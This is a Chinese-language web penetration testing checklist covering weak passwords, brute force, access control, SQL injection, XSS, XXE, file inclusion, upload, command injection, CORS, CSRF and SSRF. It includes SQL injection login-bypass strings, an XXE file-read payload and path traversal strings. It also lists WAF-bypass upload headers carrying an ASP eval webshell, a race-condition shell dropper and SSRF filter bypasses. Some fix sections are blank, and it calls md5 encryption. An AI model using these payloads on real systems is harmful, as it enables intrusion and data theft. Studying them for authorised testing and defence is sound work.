一、口令设计缺陷
1. 弱口令
1.1 漏洞说明
这里包括了强口令,比如p@ssw0rd什么的,虽然元素满足了三元素,但其实还是很容易猜到的,在密码字典中,属于top级别。
也包括空口令,默认口令等。有些系统在设计之初,有些边缘角色是不设置密码的,如test,guest。默认口令尤其出现在硬件设备中,如防火墙,摄像头等,激活之后,没强制要求用户修改密码,尽管密码强度是高的,但是因为是固定的,所以也会存在风险。
还包括系统服务层面的口令,如ssh,ftp,3389,3306,1433,1521,27017等。
另外,可以测试一下万能密码:
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1—
4:’or 1=1—
5:a’or’ 1=1—
6:”or 1=1—
7:’or’a’=’a
8:”or”=”a’=’a
9:’or’’=’
10:’or’=’or’
……
万能密码其实是代码层面的缺陷,与SQL注入有点类似。
1.2 测试方法
- 可手工测试几个常见密码:admin、123456、admin888、1、test、Test123456等。
- 万能密码直接在登录时拼接在用户名密码后面。
- web应用使用burp suite等工具抓包,发送到intruder模块对用户名密码进行测试。
-
1.3 修复方法
-
二、登录功能设计缺陷
1. 暴力破解
1.1 漏洞说明
没有登录次数限制,也没有验证码,可以被第三方如burp suite抓包软件,对数据包进行不断重放,对用户名密码进行不断地尝试,暴力破解用户名密码。
1.2 测试方法
先手工输入几个错误的密码,看是否会提示限制次数,或者跳出验证码。
如果没有,则使用burp suite等工具抓包,发送到intruder模块对用户名密码进行测试。
1.3 修复方法
限制登录次数,如5次。
-
2. 用户名枚举
2.1 漏洞说明
通过输入正确的和错误的用户名,观察不同的提示,如正确的用户提示密码错误,错误的用户名提示用户不存在,则可以枚举网站存在的用户名。
意义在于,在暴力破解中,如果用户名和密码均不知道,那么爆破次数会更指数级增长,如果用户名是已知的,那么只需要爆破密码,爆破的成本会大大降低。2.2 测试方法
先手工输入几个错误的用户名,查看是否提示用户不存在。
如果没有,则使用burp suite等工具抓包,发送到intruder模块对用户名进行测试。
2.3 修复方法
-
3. 图形码不更新
3.1 漏洞说明
如果带着错误的图形码去请求,而验证码没有更新,只是报验证码错误。那么验证码机制形同虚设,只要请求包中带着正确的验证码即可暴力破解用户名密码。
3.2 测试方法
手工输入错误的验证码,查看验证码是否更新。
-
3.3 修复方法
-
4. 登录绕过
1. 漏洞说明
如果网站登录是否成功是根据响应包中的某个参数,比如status,flag等,那么可以将响应包拦截,修改这些参数,让客户端认为是登录成功了。
1.2 测试方法
正确成功,拦截请求包,相应包,观察成功登录的标志。
-
1.3 修复方法
修改验证逻辑,是否登录成功,服务器返回一个参数告知客户端或浏览器,但是到此就是最终验证。
三、权限控制设计缺陷
1. 未授权访问
1.1 漏洞说明
一些本应该要授权才能访问的位置,信息,端口等,现在不需要授权就能直接访问和连接,那就是未授权访问。比如路径未授权访问,一些需要登录之后才能访问到的路径,如果未登录,强制访问也能访问到。
还有一些运维相关的后台未授权,比如/actuator,/swagger,/eureka等等。
端口也有未授权访问,或者叫匿名访问,ssh,ftp,数据库,memcached,zookeeper,vnc,rsync等。
1.2 测试方法
- 登录之后,复制路径,退出登录,强制访问路径,看能否访问。
- 在抓包的时候,把cookie,token等去掉,看响应。
-
1.3 修复方法
增加验证机制。
- 严格校验用户凭证。
-
2. 越权
2.1 漏洞说明
越权分为垂直越权和平行越权,垂直越权就是低权限越权到高权限,水平越权针对的用户是同等级的,不如普通用户和普通用户,高级用户和高级用户。其实从广义上来说,未授权也是越权,而且时垂直越权的一种。
如果用户的信息资产和用户的凭证没有关联的话,就会导致A用户可以访问到B用户的资产,造成越权漏洞。比如A用户的信息用id=001,而B用户的信息用id=002,那么可以遍历id参数,查看所有用户的信息。又比如修改密码,通过修改用户id,实现修改他人密码。
测试的时候其实没必要分垂直越权还是平行越权,因为它们的测试功能点几乎都一样的,根据用户的权限大小所以才产生了垂直和平行越权的分类。2.2 测试方法
登录,重置密码,修改密码时,观察是否有和用户相关的参数,如id=666,user=test01等,修改为其他用户的id。
- 查看订单时,修改订单id,是否能看到其他人的订单。
使用普通用户的token访问管理员的页面,查看是否能访问到。
2.3 修复方法
-
四、输入验证设计缺陷
1. SQL注入
1.1 漏洞说明
SQL注入存在于任何和数据库交互,但又没对用户的输入进行过滤的地方。如果用户的输入是一段SQL语句,那么就会被带入数据库执行,造成数据库数据泄露。
所以必备的两个条件是:参数用户可控,参数带入数据库执行。1.2 测试方法
在输入的地方,比如输入框,url参数等,输入引号触发报错,如果报SQL的语法错误等,基本就是存在漏洞了。
sqlmap是一个自动化工具,可以对请求的参数,请求头header的参数进行测试。
1.3 修复方法
预编译绑定变量,使得语法不会改变,但是不能一步到位防注入,因为有些地方是用不了预编译的。
- 参数化查询,在接收用户输入的地方,采用参数的方式来给值,而不是SQL语句和用户输入直接拼接。
- 编码是遵循安全规范,使用安全的存储过程,使用安全的函数。
过滤关键词,比如select,order,union等,但是这不是一个很好的方式,因为用户可能不可避免地需要输入这些信息。而且极有可能会被绕过,下面列举一些绕过的技巧。
1.4 绕过技巧
编码:针对一些关键词被过滤了,但是过滤一般都是黑名单过滤,把SQL语句编码后,可以逃过过滤。一些编码如urlencode,ASCII,hex,Unicode等。
- 空格:如果过滤了空格,可以使用注释/**/,++,(),tap,%20,%0a等逃过。
- 逻辑符:and,or,xor,not,可以使用&&,||,!,^等绕过。
- 双写:过滤检测到关键词的时候可能直接删除了,那么seselectlect就会被删掉select,剩下还是select。
- 大小写:seLEcte。
- =号:使用like,效果和=是一样的。
-
2. XSS漏洞
2.1 漏洞说明
跨站脚本攻击xss输入代码注入的一种,注入的是JavaScript代码,由于程序没有对用户的输入进行过滤,导致用户输入的JavaScript代码被网页执行了。xss普通存在于输入框,url,表单这些地方,是的,和SQL注入差不多。
xss分为三种:反射型,存储型,DOM型。
反射型xss是一次性的,只能起一次作用,利用url等方式发送给受害者。
存储型顾名思义就是把用户的输入存储起来的,那么JavaScript的代码也会被存在起来,多存在评论处,留言处,网站HTML结构处。2.2 测试方法
在输入框,参数,标签,url等地方插入,
等,看是否执行弹窗操作。
2.3 修复方法
过滤关键词,比如script,alert,onerror等。但是也是存在被绕过的,只有过滤的关键词足够多来避免。
- 过滤特殊符号,比如<>/\’”()=。
3. XXE漏洞
3.1 漏洞说明
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
3.2 测试方法
- 当发现请求包是xml时,可以将请求包修改为如下:
<?xml version=”1.0” encodeing=”utf-8”?>
<!DOCTYPE entidty[
<! ENTITY name SYSTEM “file:///etc/passwd”>
]>
file方法可以修复,这里不仅支持file协议,还是支持HTTP://,ftp://,php://,gopher://,data://等,支持的协议视网站语言而定。
3. 文件包含/读取/删除/下载
3.1 漏洞说明
文件包含包括本地文件包含LFI和远程文件包含RFL。程序需要从本地或者远程引入一些比如图片,文件等,如果用户可以控制这个参数,文件名又没有过滤的话,用户可以包含一些比如/etc/passwd、/www/config.php等敏感文件,造成信息泄露。
不过文件包含漏洞的测试是着重在PHP写的网站上的,PHP中的四个文件包含函数:include,include_once,require,require_once。
远程文件包含是开启了allow_url_include,allow_url_fopen。
文件读取和文件包含的原理都是差不多的,区别在于:文件包含一般是包含网站脚本文件进来解析的,而文件读取什么文件都能读,只是读出文件内容而已,用的函数也不一样,PHP的文件读取函数:fopen,file_get_content,fget,fread等。
这些都可以延申到文件删除,文件下载等漏洞。
3.2 测试方法
- 一些加载文件的地方,比如file=/index.php,f=/img/logo.jpg。修改参数,读取/../../../../../../etc/passwd等。
- 在自己的服务器起一个HTTP服务,放一些文件让目标去包含。
可以使用PHP伪协议去读取文件:file://,http://,ftp://,php://,data://,phar://等。
3.3 修复方法
allow_url_include=off
- open_basedir=指定文件访问目录。
- 过滤../
-
4. 文件上传
4.1 漏洞说明
文件上传也可以看作是输入验证缺陷导致的,用户输入的是文件。如果没有对用户输入的文件进行严格校验,会导致非常严重的后果。文件上传作为除了SQL注入,命令执行等重要getshell手段之一,必须格外重视。
4.2 测试方法
上传任意后缀的文件,txt,exe,html等。
如果前端作为文件后缀限制,先上传允许的文件,抓包再修改后缀。
4.3 修复方法
对上传的文件随机值重命名,加固定后缀。
- 对上传的文件进行旋绕。
- 统一上传接口,方便管理。
- 对文件名,文件类型,MIME类型进行检测。
- 限制文件大小。
- 返回包中不能返回上传的文件路径。
- 禁用敏感函数。
4.4 绕过技巧(PHP是一门漏洞语言)
- 绕过客户端检测:
- 抓包绕过前端后缀检测。
- 禁用浏览器js。
- 删除前端js判断函数或者修改上传文件类型。
- 绕过服务端检测
- 黑名单绕过
- 大小写,双写绕过。
- 后缀加空格,加点,加点加空格加点,加::DATA。(只适用于Windows)
- 特殊后缀:php2,php3,php4,php5,phtml,asa,cer,cdx,ascx,ashx,asac,jsp,jspx,jspf。
- 白名单绕过
- 00截断:文件名后缀加个空格,然后把空格的hex改为00,系统遇到00以为是文件读取结束了。
- .htaccess解析漏洞:先上传一个.htaccess文件,内容为(AddType aplication/x-httpd-php .jpg),意思是将所有的jpg文件当成是PHP来解析,然后再上传一个带马的jpg。
- apache解析漏洞:apache对于不认识的后缀名,就会从右往左递归识别,直到遇到认识的,比如php.aaa就会被识别为php。
- .user.ini:适用于服务器使用了CGI或者fastcgi模式,上传.user.ini文件内容为(auto_perpend_file=a.jpg),那么a.jpg就会被当成PHP来解析。
- 文件头添加GIF89a伪装成图片。
- 黑名单绕过
WAF绕过
- 换行绕过:比如
- Content-Disposition:form-data;name=”file”;filename=”1.php”,
- 换成Content-Disposition:form-data;name=”file”;file
name=”1.php”
- 多个等号绕过
- ontent-Disposition:form-data;name=”file”;filename==”1.php”
- 增加文件大小,类似于垃圾字符
- Content-Disposition:form-data;
qqqqqqqq…qqqqqqqqqqq;name=”file”;filename=”1.php” - 去掉或替换引号绕过
- Content-Disposition:form-data;name=file;filename=1.php
- Content-Disposition:form-data;name=‘file’;filename=”1.php”
- 增加filename干扰
- Content-Disposition:form-data;name=”file”;filename= ;filename=”1.php”
- Content-Disposition:form-data;
- 混淆form-data
- Content-Disposition:name=”file”;filename=”1.php” # 去除form-data
- Content-Disposition:qqqqq=”qweqwe”;name=”file”; filename=”1.php” # 替换form-data为垃圾值
- Content-Disposition: form-data ; name=“file”; filename=“1.php” # form-data后加空格
- Content-Disposition: for+m-data; name=“file”; filename=“1.php” # form-data中加+号
- 混淆content-disposition
- COntEnT-DIsposiTiOn: form-data; name=“file”; filename=“1.php” # 大小写混淆
- Content-Type: image/gif
Content-Disposition: form-data; name=“file”; filename=“1.php”
#调换Content-Type和ConTent-Disposition的顺序 - Content-Type: image/gif
Content-Disposition: form-data; name=“file”; filename=“1.php”
Content-Type: image/gif
#增加额外的头 - AAAAAAAA:filename=“aaa.jpg”;
Content-Disposition: form-data; name=“file”; filename=“1.php”
Content-Type: image/gif
#增加额外的头 - Content-Length: 666
Content-Disposition: form-data; name=“file”; filename=“1.php”
Content-Type: image/gif
#增加额外的头 - Content-Disposition: form-data; name=“file_x”;;; filename=“test.php”
#多个分号,导致可能解析不到文件名
- 双文件绕过
- Content-Type: multipart/form-data; boundary=—————————471114117352599
Content-Length: 253
—————————–471114117352599
Content-Disposition: form-data; name=“file1”; filename=“shell.asp”
Content-Type: application/octet-stream
<%eval request(“a”)%>
—————————–471114117352599–
- Content-Type: multipart/form-data; boundary=—————————471114117352599
- 容器和waf对bounday的要求不一样
- Content-Type: multipart/form-data; boundary=—————————471114117352599
Content-Length: 253
—————————–471114117352599
Content-Disposition: form-data; name=“file1”; filename=“shell.asp”
Content-Type: application/octet-stream
<%eval request(“a”)%>
—————————–471114117352599–
一些waf会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。
- Content-Type: multipart/form-data; boundary=—————————471114117352599
- 条件竞争
- 一些网站对于上传的文件处理规则是:先上传到临时目录,检测到危险再删除。那么可以先上传一个生成一句话木马的文件,内容(fputs(fopen(‘shell6666.php’,’w’),’’) ;),在上传的同时不断访问此文件shell6666.php,则有可能在文件被删除之前访问到。
- 如果绕不过脚本后缀,但是如果可以上传html等, 也可以配合xss漏洞,拿不到shell,但是风险等级能增加。
5. 命令注入\代码注入
5.1 漏洞说明
命令注入和代码注入本质上,都是去调用系统命令,区别在于,命令注入是直接调用系统shell,代码注入是利用脚本函数去调用系统shell。所以他们其实差别不大,可以认为是同一个漏洞。
这里还是要提到PHP,PHP中的几个调用系统程序的函数:system,exec,assert,shell_exec,popen,eval等。5.2 测试方法
- 换行绕过:比如
有时候网站内部会有ping功能,输入ip再加||dir,或||ls等。
与系统进行交互的地方都可以试试,或者参数都试试,就是比较费事。
5.3 修复方法
限制能执行的命令函数。
- diasble_funtion禁用大多数函数(PHP)。
- 过滤命令分隔符。
注入类的就不赘述,xml注入,HTML注入,ldap注入,css注入等等,原理都是相同的,只是使用的场景,造成的危害不同而已。
五、访问控制设计缺陷
1. http方法
1.1 漏洞说明
webdav在HTTP1.1的基础之上,又添加了很多HTTP方法,方便程序对server的操作,但是同时也会带来一些风险。
常见的HTTP方法是get,post,head,除此之外,还有delete,put,trace,move等,这些方法,可以对server进行操作,被认为是不安全的。
1.2 测试方法
- 把请求方法改为OPTIONS,观察响应包中的allow字段或者Access-Control-Allow-Methods字段,会列举支持的HTTP方法。
-
1.3 修复方法
根据业务实际,有些方法如果用不到,就禁用。
-
2. CORS(跨域资源共享)
2.1 漏洞说明
cors的出现是为了弥补同源策略的不足。同源策略是指:同协议(http和https是不同的),同域名(a.com和a1.a.com是不同的),同端口,三者相同,才能访问该资源。但是有些业务网站必须从子域名等其他地方获取一些资源,这样同源策略会阻止这样的操作。所以,cors诞生了,它可以指定该网站资产可以从哪里访问,像白名单一样设置。但是如果配置不当,就会如同虚设。
cors允许浏览器像服务器发出XMLHttpRequest请求,解决了AJAX只允许同源的限制。浏览器一旦发现AJAX的请求,就会自定添加一些附加的头,比如Origin,有时候还有附加一次OPTIONS的预检请求。2.2 测试方法
在请求修改或添加Origin字段,这个字段的意思是这个请求时从哪里来的,观察响应包的Access-Control-Allow-Origin字段。如果是*或者是你修改的的值,那么就存在漏洞。
这里要介绍一些字段:
- Access-Control-Allow-Origin:必填,取值可以是请求头中Origin的值,也可以是,代表接受任意域的请求。
- Access-Control-Allow-Methods:必填,设置服务器支持的跨域方法。在测试http方法时测到了。
- Access-Control-Allow—Headers:可选,跨域请求时支持的字段有Cache-Control,Content-Language,Content-Type,Expires,Last-Modified,Pragmatic。如果除了这些,还需要支持其他字段,则在这里指定。
- Access-Control-Allow—Credentials:可选,表示是否允许发送Cookie,如果设置为true,表示服务器允许在请求中包含cookie,如果不允许,则去掉该字段,因为它只能设置为true。
- Access-Control-Max-Age:可选,设置预检请求的有效期。
2.3 修复方法
不要将Access-Control-Allow-Origin字段设置为*。
- 严格校验Origin字段的值。
-
3. CSRF(跨站请求伪造)
3.1 漏洞说明
csrf和xss有类似之处,xss是插入JavaScript代码,而csrf是插入html代码。它们甚至有重合的地方,也可以配合起来利用。产生xss的原因是没对用户输入做校验,产生csrf的原因是没对用户的请求来源做校验。
假设这样的场景:网站A的删除用户的请求地址为:www.site.com/?action=delete&user=大聪明。大聪明登录了这个网站A。这个时候,小机灵发给大聪明一个网站B:www.vlun.com,说里面有好康的东西,实际上,网站B里面内嵌了这样的代码:,大聪明用同一个浏览器访问了这个网站B,
标签就会去请求获取图片资产,并且带上网站A的cookie,因为大聪明刚刚登录过,还没退出,但是
的地址是网站A的删除用户的地址,不知不觉中,大聪明删除了自己。
还有一种场景是同样在网站A中,网站A中存在xss漏洞,小机灵就在网站A中插入了这样的代码,不管谁登录了,大聪明都会被删除。这是csrf和xss的配合使用。
但是上面是get的请求,比较好利用,如果网站A使用的是post请求来删除用户呢?一样的,只是恶意代码部分改成post请求体就可以了:3.2 测试方法
burp suite pro版内置了csrf的测试方法。将拦截到的请求包,比如修改密码。右键Engagement tools—>Generate CSRF PoC,点击test in browser—>copy,粘贴到同一个浏览器,代理别关,请求,这时候会生成一个submit request的按钮,此时把代理关掉,访问,看密码是否被修改。
- 不用burp suite就按漏洞说明那样,在自己的服务器上放一个html文件,内嵌目标请求的
代码,用同一个浏览器去访问,看密码有没有被修改。
抓包请求头中,去掉referer字段,再请求,看是否正常,但是这个不能确定漏洞一定存在。
3.3 修复方法
验证referer,这个字段的意思是这个请求是从哪里来的,要利用csrf,则这个字段肯定是恶意网站的,所有验证referer字段有防护作用。不需要每个接口都验证,只要在重要操作的请求增加拦截器验证即可。但是有些浏览器是可以篡改referer的,所以不是全都能防住。但是方便快捷,开发肯改。
增加自定义属性,csrf就是利用网站没登出,会带着cookie去访问这个机制,如果网站还要一个参数,不在cookie里面,那么csrf就成功不了了。这个参数一般叫token,值是一串随机码。
4 . SSRF(服务端请求伪造)
4.1 漏洞说明
ssrf叫服务端请求伪造,那csrf是不是可以叫客户端请求伪造?可以。
服务端请求伪造,顾名思义,就是这个请求是从服务端发起的,而不是csrf那样从客户端。
服务器有时候需要从其他地方获取资产,比如图片,翻译接口,分享等。如果没对请求的地址做限制,那么就会造成ssrf漏洞。听起来和文件读取差不多,没错,但不限于文件读取,文件读取是读取本服务器的文件。ssrf可以读取文件,也可以探测内网端口,操作内网服务等。用的协议也和文件读取差不多:file协议用来文件读取,dict用来探测软件版本,内网端口,操作redis等,gopher可以发get/post请求,http探测主机存活等。4.2 测试方法
一些资产获取的地方,比如加载图片,分享,文件加载等,和文件读取的位置差不多。
修改成file:///etc/passwd,dict://127.0.0.1:6379,或者网络上的一个图片地址等。
4.3 修复方法
过滤返回的信息,因为攻击者在利用ssrf的时候,是根据返回信息的不同,来探测资产是否存在的,把返回信息的错误信息屏蔽,即使漏洞存在,漏洞也难以利用。
- 限制请求的端口为只能80,443,8080。
-
4.4 绕过技巧
利用@:当限制请求地址为某个域名如www.xxxx.com时,可以www.xxxx.com@www.vuln.com,某些函数只会解析后面的域名。
- 短网址:比如百度的短网址:https://dwz.cn,不过短网址越来越被和谐了。
- 进制转换:127.0.0.1转十进制2130706433。
- 利用句号:127。0。0。1
利用[::]:http://[::1.1.1.1]绕过只能local host的情况。
5. 重放攻击
5.1 漏洞说明
重放攻击就是同一个请求,能够通过中间人劫持的方式,不断重放给服务器。在一些业务上,可能会造成影响,比如重放文件上传,重放手机短信验证,重放邮箱验证,可能造成文件堆积,短信炸弹,邮箱轰炸等。
5.2 测试方法
在文件上传,短信验证码,邮件验证码,订单生成,评论提交等,抓包不断重放。
6. 任意url跳转
6.1 漏洞说明
当系统具备url跳转功能,但是没过滤url的时候,可以跳转到任意恶意网站。
6.2 测试方法
观察网站的链接,如果将要跳转的url是在参数中,则可以抓包修改url。
请求包中,任意包含url的地方,或者u=,host=等地址参数,可以修改为www.baidu.com。
六、通信设计缺陷
1. 明文传输
1.1 漏洞说明
如果网站使用的是http协议,而非https协议,当传输一些关键信息的时候,比如账号,密码,身份证信息等,没有进行加密处理,流量可能会被劫持,嗅探,导致信息的泄露。
1.2 测试方法
是否使用http协议。
-
1.3 修复方法
使用https协议。
-
2. 明文存储
2.1 漏洞说明
程序的一些关键信息,比如账号密码,比如用户数据,是存在在本地的什么地方,是否加密存储。网站日志记录什么内容,密码是否也会被记录?
2.2 测试方法
到服务器翻文件,一般找config,db,txt,.sqlite等文件,查看关键数据是否加密。
-
2.3 修复方法
关键数据如账号密码身份证手机号采用加密存储,如md5。
-
七、信息泄露
1. 目录浏览/遍历
1. 1 漏洞说明
由于中间件配置不当,导致在访问某个文件夹时,文件夹内的文件和子文件夹均被枚举出来在页面上,也就是说该目录下的所有文件都可以访问和下载,这就是目录浏览漏洞。危害等级视数据的重要性而定。
1.2 测试方法
-
1.3 修复方法
目前一般是iis和apache会打开目录浏览功能,关闭即可。
-
2. 源码泄露
2. 1 漏洞说明
利用代码托管平台托管过的代码,目录会有一个.git或者.svn文件的隐藏文件,利用此文件,可以把源码恢复过来,造成git源代码泄露,svn源代码泄露。
2.2 测试方法
这个还是利用目录扫描器扫描出来。
-
2.3 修复方法
3. 备份文件泄露
3.1 漏洞说明
像一些配置文件:config.ini,config.cfg,web.xml等会暴露系统敏感配置,phpinfo等会暴露系统环境。还有www.zip,web.rar等文件,一般会包含网站系统的诸多信息。
3.2 测试方法
-
4. 敏感目录
4.1 漏洞说明
这个严格来说,不是漏洞,而是信息收集,一些目录比如后台login,admin,regitster等注册页面,不在主页导航可以找得到,找到这些页面,测试面会多很多。
4.2 测试方法
-
5. 错误信息/报错
5.1 漏洞说明
当网站系统遇到一些识别不了的内容,比如特殊字符串,字符串太长等,造成响应崩溃,这时候系统会抛出异常信息,这些异常信息,通过会包含有一些系统的关键信息,比如使用了什么web服务器,什么中间件,什么版本?
5.2 测试方法
在请求包中修改参数加入特殊字符,或者删减请求包结构,总之目的是引发异常。
- 如果系统没有统一定义错误页面,可能会抛出堆栈异常暴露信息。
还有很多漏洞没列出来,说不上是漏洞,也说不上不是漏洞比如:
- “无需原密码即可修改密码”,
- “任意手机号/邮箱/用户名即可注册”,
- “phpmyadmin对外开放”,
- “危险端口对外开放”,
- “cookie未设置HTTP only”,
- ”jq版本/apache版本太低“,
- 等等。